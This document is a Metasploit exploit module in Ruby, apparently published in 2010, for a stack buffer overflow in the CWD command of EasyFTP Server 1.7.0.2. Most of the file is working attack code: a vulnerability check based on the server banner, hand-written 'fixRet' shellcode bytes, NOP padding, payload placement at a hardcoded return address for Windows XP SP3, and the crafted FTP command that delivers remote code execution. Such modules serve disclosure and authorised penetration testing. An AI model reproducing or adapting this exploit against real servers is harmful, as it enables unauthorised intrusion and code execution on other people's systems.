# Exploit Title: EasyFTP Server <= 1.7.0.2 CWD Buffer Overflow (Metasploit)
# Date: April 19th, 2010
# Author: Paul Makowski (my.hndl@gmail.com || http://paulmakowski.wordpress.com)
# Software Link: http://easyftpsvr.googlecode.com/files/easyftpsvr-1.7.0.2.zip
# Version: EasyFTP Server <= 1.7.0.2
# Tested on: Windows XP SP3 English

# ways this could be improved:
# - write fixRet w/ metasm
# - use JMP ESP/EBPs for more targets

require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::Ftp
  
  $slack_space = 30
  
  def initialize(info = {})
    super(update_info(info,  
      'Name'           => 'EasyFTP Server <= 1.7.0.2 CWD Command Stack Buffer Overflow',
      'Description'    => %q{
        This module exploits a stack-based buffer overflow in EasyFTP Server 1.7.0.2.
        EasyFTP fails to check input size when parsing 'CWD' commands, which allows for
        easy stack based buffer overflow exploitation.  EasyFTP allows anonymous access by
        default; valid credentials are typically unnecessary to exploit this vulnerability.
        
        Later versions may vulnerable, but have not been tested.
        
        This exploit utilizes a small piece of code that I've referred to as 'fixRet'.
        This code allows us to inject of payload of ~500 bytes into a 264 byte buffer by
        'fixing' the return address post-exploitation.  See references for more information.
      },
      'Author'         => [ 'Paul Makowski <my.hndl [at] gmail.com>' ],
      'License'        => MSF_LICENSE,
      'Version'        => '$Revision$',
      'References'     =>
        [
          [ 'URL', 'http://paulmakowski.wordpress.com/2010/02/28/increasing-payload-size-w-return-address-overwrite/' ],
          [ 'URL', 'http://paulmakowski.wordpress.com/2010/04/19/metasploit-plugin-for-easyftp-server-exploit' ],
          [ 'URL', 'http://seclists.org/bugtraq/2010/Feb/202' ],
          [ 'URL', 'http://code.google.com/p/easyftpsvr/'],
          [ 'URL', 'https://tegosecurity.com/etc/return_overwrite/RCE_easy_ftp_server_1.7.0.2.zip' ],
          [ 'URL', 'http://www.securityfocus.com/bid/38262/exploit']
        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          # Total bytes able to write without crashing program (505) - length of fixRet (25) - slack space (30) = 450
          'Space'    => 505 - $slack_space - 25,
          'BadChars' => "\x00\x0a\x2f\x5c", # from: http://downloads.securityfocus.com/vulnerabilities/exploits/38262-1.py
        },
      'Platform'   => 'win',
      'Targets'        => 
        [
          # This could be generalized, e.g. with a JMP ESP/EBP and then a short JMP @ ESP/EBP back to the beginning of the buffer
          [ 'Windows XP SP3 English',       { 'Ret' => 0x009AFD58 } ], # absolute addr, from Jon Butler's exploit
        ],
      'DisclosureDate' => 'Feb 16 2010',
      'DefaultTarget' => 0))
  end

  def check
    connect
    disconnect  
    
    if (banner =~ /BigFoolCat/) # EasyFTP Server has undergone several name changes
      return Exploit::CheckCode::Vulnerable
    end
      return Exploit::CheckCode::Safe
  end

  def exploit
    connect_login
    
    # If the payload's length is larger than 233 bytes then the payload must be bisected with the return address and later patched.
    # Explanation of technique: http://paulmakowski.wordpress.com/2010/02/28/increasing-payload-size-w-return-address-overwrite/
    fixRet = ( # length = 25 bytes
      "\x31\xc0" +                  # xor    %eax,%eax
      "\x31\xdb" +                  # xor    %ebx,%ebx
      "\x31\xc9" +                  # xor    %ecx,%ecx
      "\xb8\xce\x54\x30\xaa" +         # mov    $0xaa3054ce,%eax
      "\xbb\xaa\xaa\xaa\xaa" +         # mov    $0xaaaaaaaa,%ebx
      "\x31\xd8" +                  # xor    %ebx,%eax (now %eax should hold 0x009AFE64)
      "\xb9" +       # mov _____, %ecx
      payload.encoded[payload.encoded.length - 233 - 4, 4] +  # continuation of the above instruction; replace the 4 return address bytes with payload
      "\x89\x08" )                  # mov    %ecx,(%eax)
    
    print_status("Filling buffer with NOPs...")
    buf = make_nops(505)
    
    print_status("Prepending fixRet...")
    buf[0, fixRet.length] = fixRet
    
    print_status("Adding the payload...")
    buf[fixRet.length + $slack_space, payload.encoded.length] = payload.encoded # put payload in the buffer
    
    print_status("Overwriting part of the payload with target address...")
    buf[268, 4] = [ target.ret ].pack('V') # put return address @ 268 bytes
    
    print_status("Sending exploit buffer...")
    send_cmd( ['CWD', buf] , false) # this will automatically put a space between 'CWD' and our attack string
    
    handler
    disconnect
  end

end